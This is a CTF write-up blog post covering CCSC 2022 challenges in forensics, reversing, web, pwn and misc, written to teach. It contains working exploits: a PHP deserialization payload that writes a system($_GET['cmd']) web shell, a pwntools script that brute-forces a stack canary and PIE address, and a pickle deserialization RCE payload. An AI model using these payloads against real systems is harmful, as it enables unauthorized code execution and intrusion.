CCSC 2022

17/05/2022 - 10 minutes

2022 android crypto ctfs forensics hacking misc pwn reverse web

Table of contents

Introduction

CCSC (Cyprus Cyber Security Challenge) is a yearly competition, where hackers from all around Cyprus, compete in a 15-day time period. The top 10 players (5 seniors(21-25) and 5 juniors(14-20)) would qualify to represent Cyprus at the ECSC (European Cyber Security Challenge) in Austria

CCSC 2022 was held from the 30th of April to 15th of April. This year was my second year, participating in this competition. Last year I could't make it in to the top 10. This year though I wanted to change that! Read until the end to see what happened.

In this blog post my main purpose is to explain my thought process and really reflect towards my performance this year!

Let's get started!

Challenges

Forensics

In Forensics I was able to solve 2 challenges

Ricklantis

We were given a ".pcapng" file. Opening it up we could see windows AD traffic. Looking around I spotted an assets/ image file containing most of the flag except the last part:

image_1_8ecd4f61.png

Carefully inspecting the image we can see that the last part must have something todo with the kerberos symbols lying around in the image. Hence going back to the traffic we can see that the user "Morty" is trying to authenticate to the domain "ricklantis.local". The 2nd part of the flag is the password of the user "Morty". Using NetworkMiner to extract the hash:

image_2_8ecd4f61.png

Using john to crack the hash:

image_3_8ecd4f61.png

Combining the 2 parts of the flag we get the flag

The Citadel of ricks

Description:

The Citadel came under the authoritarian rule of President Morty (Evil Morty) who, after being elected President of The Citadel, committed a series of unprecedented purges against the de facto ruling Shadow Council and other personal political enemies. His number one enemy, Rick now lives in a dimension unknown even to his grandson Morty. Mr. Meeseeks which was summoned by Morty, intercepted some network traffic between the Ricks on the run. Can you help Mr.Meeseeks complete his task and Morty to find his grandpa?

We were given "portal.pcap", reading through it it contained a lot of HTTP POST requests with data="..." all the requests would have some amount of dots

image_4_8ecd4f61.png

Hence I decided to do some analysis of the lenght of the data

Using python to extract the data and the length of the data:

import scapy.all as scapy
pcap = scapy.rdpcap('portal.pcapng')
chrData = ""
# sort the packets with time

for packet in sorted(pcap, key=lambda x: x.time):
# check if packet is an http post
if packet.haslayer(scapy.Raw):
	# get the http data
	http_data = str(packet[scapy.Raw].load)
	# check if the http data is a post request
	if "POST / HTTP/1.1" in http_data:
		content = http_data.split("data=")[1].replace("'","")
		print(content)
		content_len = len(content)
		print(content_len)
		chrData += chr(content_len)
print(chrData)

image_5_8ecd4f61.png

Analysing the output we can see that the first 2 lens when casted to chars will output ">", having in mind that the flag format is CCSC{.*} we can see that we are 5 characters away from C. Then it clicked we shoudl actually retrieve "Content-Length" not only the dots in the data. Hence I modified the script to retrieve the "Content-Length" and the dots in the data.

import scapy.all as scapy
pcap = scapy.rdpcap('portal.pcapng')
chrData = ""
# sort the packets with time

for packet in sorted(pcap, key=lambda x: x.time):
	# check if packet is an http post
	if packet.haslayer(scapy.Raw):
		# get the http data
		http_data = str(packet[scapy.Raw].load)
		# check if the http data is a post request
		if "POST / HTTP/1.1" in http_data:
			content_length = int(http_data.split("Content-Length: ")[1].split("\\r\\n")[0])
			chrData += chr(content_length)
print(chrData)

Running the above scripts outputs the flag

Both scripts are hosted on replit if you want to run them or have a closer look:

The Citadel of ricks

Reverse Engineering

Z3ep Xanflorp I

Description:

Crap Morty... The portal gun is still broken. You need to fix it Morty BURPPP. FIX IT!!! It acts weirdly. Grandpa has no time for this. Fix the circuit-board till I'm back Morty.

We were given a service to connect to, after connecting, the below message was displayed:

z3ep.png

As we can see the service outputs some weird mathematical expressions(constraints to a number) and we need to solve for them. Then hinted, from the title Z3 should be used. Below is the script I used to solve the constraints:

from pwn import *
from z3 import *
import re


# solve for an x array

io = connect('192.168.125.11',1235)

io.recvuntil('Are you ready [Y or N]?\n')

io.sendline('Y')

# the equations look like this:
# -49*x__0 +  -93*x__1 +  69*x__2 +  -24*x__3 +  66*x__4 >= 92
# -42*x__0 +  -8*x__1 +  -69*x__2 +  91*x__3 +  62*x__4 <= 48
# 11*x__0 +  63*x__1 +  49*x__2 +  -69*x__3 +  -80*x__4 >= 32
# -42*x__0 +  -4*x__1 +  -56*x__2 +  -66*x__3 +  27*x__4 <= 30
# 57*x__0 +  -92*x__1 +  -38*x__2 +  50*x__3 +  -94*x__4 >= 6

# formated
# -90*x[0]  - 54*x[1]  - 18*x[2]  + 95*x[3]  + 10*x[4]  - 94*x[5]  - 21*x[6]  - 91*x[7]  >=69 
# 6*x[0]  - 82*x[1]  - 71*x[2]  - 57*x[3]  - 92*x[4]  - 4*x[5]  + 52*x[6]  + 52*x[7]  <=82 
# -46*x[0]  - 88*x[1]  + 41*x[2]  + 2*x[3]  - 49*x[4]  - 76*x[5]  + 38*x[6]  - 29*x[7]  <=3 
# 96*x[0]  + 51*x[1]  + 70*x[2]  - 56*x[3]  + 39*x[4]  - 89*x[5]  - 52*x[6]  + 47*x[7]  <=7 
# 43*x[0]  + 84*x[1]  - 41*x[2]  - 79*x[3]  - 49*x[4]  - 57*x[6]  - 49*x[7]  >=31 
# -17*x[0]  - 4*x[1]  - 27*x[2]  - 25*x[3]  - 42*x[4]  + 64*x[5]  - 48*x[6]  + 79*x[7]  >=94 
# 91*x[0]  + 70*x[1]  - 5*x[2]  + 4*x[3]  + 78*x[4]  + 43*x[5]  + 26*x[6]  + 96*x[7]  <=93 
# -13*x[0]  + 25*x[1]  + 99*x[2]  - 76*x[3]  + 15*x[4]  - 37*x[5]  + 6*x[6]  + 83*x[7]  <=58 
corrected_items = ""

blacklist = ['+','-','*','=','>','<','(',')',' ']
while(True):
	converted_equations = []
	try:
		equations = io.recvuntil(b'Answer: ').decode().split('\n')[:-1]
	except EOFError:
		# we got the flag!!!
		print(str(equations))
	size_of_xarray = int(equations[0].split('__')[-1][0]) + 1
	x = [Int('x%d' % i) for i in range(size_of_xarray)]
	s = Solver()
	for line in equations:
		corrected_items = ""
		fixed_line = ""
		replaced_line = line.replace('__','[').split(" ")
		for item in replaced_line:
			if item and item not in blacklist and '=' not in item:
				item += "] "
			corrected_items += item + " "
		if item.strip().endswith(']'):
			fixed_line = ''.join(corrected_items.rsplit("]", 1)[0])
		else:
			fixed_line = ''.join(corrected_items)
		try:
			s.add(eval(fixed_line))
		except Exception as e:
			print(e)
			input()
			continue
		converted_equations.append(fixed_line)
	if s.check() == unsat:
		print("unsat equations:")
		print('\n'.join(equations))
	time.sleep(1)
	answers = s.model()
	answer = []
	for sol in x:
		answer.append(answers[sol])
	the_final_solution = ' '.join(map(str, answer))
	print(the_final_solution)
	io.sendline(the_final_solution)

Glootie's App

Description:

Apparently Jerry doesn't know how to read the warnings! Do you ?

The solution below was not the intended solution, but in my opinion if the flag is on the binary, it can always be retried, one way or the other.

The binary is a simple android app, so we need to decompile it. I used jadx-gui for that. The app is very simple it just asks for a password to retrieve the flag

Looking around the application I found these 2 piculiar strings. Looking a bit further we can see that they are AES decrypted, to retrieve the flag.

image_7_8ecd4f61.png image_8_8ecd4f61.png

The whole thing is written in java and playing around with python I couldn't simulate the behavior, hence fighting fire with fire. I wrote a small decryptor in java

//sh -c javac -classpath .:target/dependency/* -d . $(find . -type f -name '*.java')
import java.io.PrintStream;
import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Main {
public static SecretKeySpec f4524a;
public static byte[] f4525b;

public static String s1 = "ZtSlhiP5jp2bLCZ6UO0AkA==";
public static String s2 = "p3s6v9y$B&E)[email protected]!z%C";

public static String s3 = "j6/av/qX3G4LTVmx121Ecw==";
public static String s4 = "UkXp2s5v8y/B?E(H+MbQeShVmYq3t6w9";

public static String m94a(String str, String str2) {
	try {
		m93b(str2);
		Cipher instance = Cipher.getInstance("AES/ECB/PKCS5PADDING");
		instance.init(2, f4524a);
		return new String(instance.doFinal(Base64.getDecoder().decode(str)));
	} catch (Exception e) {
		PrintStream printStream = System.out;
		printStream.println(e.toString());
		return null;
	}
}

public static void m93b(String str) {
	try {
		f4525b = str.getBytes("UTF-8");
		byte[] digest = MessageDigest.getInstance("SHA-1").digest(f4525b);
		f4525b = digest;
		f4525b = Arrays.copyOf(digest, 16);
		f4524a = new SecretKeySpec(f4525b, "AES");
	} catch (UnsupportedEncodingException | NoSuchAlgorithmException e) {
		e.printStackTrace();
	}
}

public static void main(String[] args)
{
	String flag = m94a(s1,s2) + m94a(s3,s4);
	System.out.println(flag);
}

image_9_8ecd4f61.png
Glooties-App

Web

Planet TC39

Description:

Do you have what it takes to navigate through the wormholes and penetrate Planet TC-39?

Planet TC-39 is a simple web challenge, the source code is provided and there are two endpoints planet-TC39-1 and planet-TC39-2.

Endpoint 1:

if (a !== b) { res.send(nope); return; }
if (1/a === 1/b) { res.send(nope); return; }

res.send(process.env.FLAG_1 || "No way. Contact an admin.");

The above code snippet checks if a is not equal to b and 1/a is equal 1/b

Immidietly this shows, that we are looking for some kind of js trick, because any two numbers can't have this relation.

I had never seen something similar in the past, hence I started expiriementing with inputs, in my browsers console.

If the two variables are the same strings check1: a !== b is false, cause they are the same, check2: 1/"a" === 1/"a" is false, because for some reason in JS Nan is not equal to Nan(makes so much sense right;p?)

image_10_8ecd4f61.png

Endpoint 2:

if (!Number.isSafeInteger(a)) { res.send(nope); return; }
if (!Number.isSafeInteger(b)) { res.send(nope); return; }

if (a !== b) { res.send(nope); return; }
if (1/a === 1/b) { res.send(nope); return; }

res.send(process.env.FLAG_2 || "No way. Contact an admin.");

So according to check2 we are looking for 2 numbers which are considered "safe" integers, they have to be equal with each other but 1/the_number, must be different, which again is not a relation, to numbers will normally have.

The above limited, my testing space by a lot

After a while I found out, that 0 and -0 are equal but 1 over them is Infinity and -Infinity respectively.

image_11_8ecd4f61.png

Morty in the Clink

Description:

If you want something with your heart, then the Univese will give it to you. In the meantime, can you help Morty to escape from the jail?

Viewing the webapp we can see a weird landing page. After dirbusting, we can find a "backup.php"

Viewing that, we can find a "s3r1al1z3.php"

Viewing that, we can see that there are a lot of references to the word universe in the text. Hence dirbusting, with universe, we can see a "universe.txt", displaying a php source code, probably for "s3r1al1z3.php"

<?php
class File {
  public $filename = 'flag.txt';
  public $content = 'Try harder';
  public function __destruct()
  {
   file_put_contents($this->filename,$this->content);
  }
}
//$o = unserialize($_GET['uxxxxxxe']);
?>

From the above, we can now be sure that there is a php deserialization vulnerability, and we are allowed to write files by creating a new object. Hence we can create:

<?php
$o = new File();
$o->filename = "shell.php";
$o->content = '<?php echo system($_GET[\'cmd\']); ?>';
echo serialize($o);
?>

Running the above, allows us to create a shell, that we can invoke and get rce, cat the flag from the users home directory.

PWN

Forking rick

Description:

Rick likes to fork. Show him why it's not the best idea.

We are given the source code, for this one so we can, search for vulnerabilities, without needing to reverse the binary.

void secret() {
	FILE *fp;
	char buf[FLAG_MAX_SIZE] = "";
	printf("You found the secret!\n");
	
	fp = fopen("flag.txt","r");
	fread(buf, sizeof(char), FLAG_MAX_SIZE, fp);
	fclose(fp);
	printf("%s\n", buf);
}

int vuln() {
	char buf[BUF_SIZE];
	printf("Please provide an input\n");
	read(0, buf, BUF_SIZE*sizeof(char*));
	printf("ok\n");
	return 0;
}

int main()
{
	int pid = 0;
	char* input;
	int status = 0;
	
	// disable buffering
	setbuf(stdout, 0);
	
	printf("This software was designed so that it survives crashes\n");
	printf("Should I make you a fork?\n");
	
	while (1) {
		gets(input);
		printf("I'll make you one anyway :p\n");
		
		if ((pid = fork()) < 0) {
			// Handle fork error
			printf("Failed to fork\n");
		}
		else if (pid == 0) {
			// Child process
			vuln();
			return 0;
		}
		else {
			// Parent process
			wait(&status);
			printf("xxx\n");
			if (status != 0) {
				printf("feeew... This could have crashed the entire process\n");
				printf("Good thing we have this super robust mechanism\n");
			}
			printf("Should I make you another fork?\n");
		}
		
	}
		
	printf("How did you get here??!\n");
	secret();
	return 0;
}            

From the hint in the title, the description, we can understand, that the vulnerability has something to do with forking

Doing some research about forking vulnerabilities in c binaries and pwnables, we can find this article:

https://ctf101.org/binary-exploitation/stack-canaries/
stack_canary

From the above, we understand , that if we want to overwrite, tha stack (and gain control of the programs flow), we need to bruteforce the stack canary and the reason we can bruteforce that canary token, is that the proccess is forked, hence keeps the same stack canary throughout.

Then in order to find the address of "secret()", as PIE is enabled, well guess what? More bruteforcing...!

I ended up with the below scripts, which does this automatically, and prints the flag.

#!/usr/bin/python3
# Writeup by Evangelospro
from pwnscripts import * #pip install pwnscripts
from pathlib import Path
from tqdm import tqdm

# context.log_level = "debug"

dir_path =  str(Path(__file__).parent)
patch = None
if patch is not None:
	subprocess.call(f"/home/evangelospro/.local/bin/pwninit --no-template --bin pwn", shell=True)
	binary_path = dir_path + f"/pwn_patched"
else:
	binary_path = dir_path + f"/pwn"
	elf = context.binary = ELF(binary_path, checksec=True)
try:
	host = '192.168.125.11'
	port = '4337'
except NameError:
	host = "None"
	Port = "None"

def pwn_ssh():
	user = input("ssh user:")
	password = input("ssh password: ")
	return ssh(user=user, host=host, port=port, password=password)

def pwn_remote():
	return remote(host, port)

def pwn_gdb():
	gdbscript = '''
	init-pwndbg
	continue
	'''
	return gdb.debug(elf.path, gdbscript)

def pwn_local():
	return process(elf.path, cwd=dir_path)

def debug(interaction):
	print(interaction)
	if interaction == "i":    
		hook(locals())
	elif interaction == "p":
		io.interactive()

def hook(l=None):
	if l:
		locals().update(l)
	import IPython
	IPython.embed(banner1='', confirm_exit=False)
	exit(0)    

# Find offset to EIP/RIP for buffer overflows
def find_xip(payload, arch):
	print(arch)
	# Launch process and send the payload
	io = process(elf.path)
	io.recv()
	io.sendline(payload)
	# Wait for the process to crash
	io.wait()
	# Print out the address of EIP/RIP at the time of crashing
	if "i386" in arch:
		xip_offset = cyclic_find(io.corefile.pc)  # x86
	elif "64" in arch:
		xip_offset = cyclic_find(io.corefile.read(io.corefile.sp, 4))  # x64
	info('The EIP/RIP offset is ')
	success(str(xip_offset))
	return int(xip_offset)

def start():
	if args.R:
		return pwn_remote()
	elif args.S:
		return pwn_ssh()
	elif args.L:
		return pwn_local()
	elif args.GDB:
		return pwn_gdb()

if args.R or args.S or args.L:
	analysis = "static"
	io = start()
	offset = 40
	canary = []
	# Brute force 8 bytes
	for n in range(1,9):
		# Brute force each bytes from 0 to 0xff
		for i in tqdm(range(0,0x100), f"Bruteforcing byte{n} of the canary"):
			payload = b'A'*offset
			# Add previous canary byte if exist
			payload += b''.join(p8(i) for i in canary)
			payload += p8(i)
			io.sendlineafter("?\n", "junk")
			io.sendafter('input\n', payload)
			data = io.recvuntil("Should I make you another fork")
			#info(f"Byte{n}: {i} {payload} {data}")
			if (b'crashed' not in data):
				canary.append(i)
				break
		if(len(canary) != n):
			warning("Canary not found")
			exit(0)
		else:
			canary_bytes = b''.join(p8(i) for i in canary)
			success(f"Canary byte{n} found: {canary_bytes}")
	success(f"Full canary found: {canary_bytes}")
	# bruteforce the last two bytes of secret
	payload = ""
	flag = ""
	for j in tqdm(range(0,0x10), "Bruteforcing the address of secret"):     
		secret = p16(0x269 + (j << 12))
		fake_sfp = b'\0'*8
		final_payload = offset * b'A' + canary_bytes + fake_sfp + secret
		print(final_payload)
		io.sendlineafter("?\n", "junk")
		io.sendafter("input\n", final_payload)
		response = io.recvuntil("\n")
		print(response)
		flag = io.recvuntil("}", timeout=2)
		if flag:
			flag = flag.split("]n")[1]
			success(f"Flag: {flag.split(b'\\n')[1]}")
			break
		else:
			print(f"Secret isn't at {secret}")
	debug(input("Interact with the process? (ipython/pwntools): "))
	elif args.GDB:
		analysis = "gdb"
		padding = find_xip(cyclic(250), elf.get_machine_arch())
		io = start()
	else:
		print("Please select an argument from [REMOTE(R), LOCAL(L), SSH(S), GDB(GDB)]")
		quit()

Stego

UFO

Description:

I think they are trying to communicate with us.

We were given a sound file "ufo.mp3"

I immidietly opened it in sonic and listened to it. It is apparently a rick and morty song. I scrolled until the end and found a kind of pattern of sound

sonic

It all looked like a high and a low, I converted those highs and lows to 1 and 0 and got a binary string

Then I converted the binary string to ascii and got the flag

bits = "0100001101000011010100110100001101111011011100100110100101110010011010010110001101101011001001100110110101101111011011010110111101110010011101000111100101111101"
# convert bits to ascii
ascii = ""
for i in range(0, len(bits), 8):
ascii += chr(int(bits[i:i+8], 2))
print(ascii)

Misc

Pickle Rick

Description:

It's Pickle Riiiick! Morty *burp* look at me! Not only am I a pickle, I can play golf at the same time!

This is what I was up against:

pickle_rick

We are given the source code, from which it is obvious that there is a pickle deserialization vulnerability(you can't make a rick and morty CTF without one). The only problem is that it has to be under 23 characters to pass through

import base64
import pickletools
from pickleast import *

# pickled = dumps(System(command))
# pickled = dumps(System("nl *"))
pickled = dumps(System("nl *"), protocol=0) # protocol 0 is all the money
pickled = pickletools.optimize(pickled)
# fully optimized pickle size 
print(pickletools.dis(pickled))
print(pickled)
b64encodedPickle = base64.b64encode(pickled)
print(b64encodedPickle)
print(len(pickled))
open('payload.txt', 'wb').write(b64encodedPickle)

I ended up solving this usint the above code, which optimizes the size and uses protocol "0"

CUBIK RICK

Description:

Morty, you're not gonna regret it. The payoff is huge. . . . I turned myself into a cube, Morty! BOOM! Big reveal! I'm a cube! What do you think about that? I turned myself into a cube! W-w-what are you just staring at me for, bro, I turned myself into a cube, Morty. I'M A CUBE! I'M CUBIK RIIIIIICK!

Connecting to the challenge service we get the following:

cube_ctf_given cube_ctf

It is a rubik's cube but it has letters on it. Hence we can assume that if solved for the colors, the letters will spell out a flag. This was 100% intended to be solved programatically, but I ended up doing it manually on a normal, cube just for the fun of it

When the cube is solved, reading from the yellow to the white side we can decipher the flag:

cube_solved

Final Thoughts

leaderboard

Overall, this was a great CTF. I had a lot of fun solving the challenges, learned a lot and ECSC was an amazing experience. I would really like to thank CYberMouflons as the organizers for creating such an amazing ctf. I really hope I can manage to qualify next year to repeat this amazing experience. I hope you enjoyed reading this writeups and I hope you learned something from it. If you have any questions, feel free to contact me

All the problems can be found on the github repo. Check it out and attempt some of the problems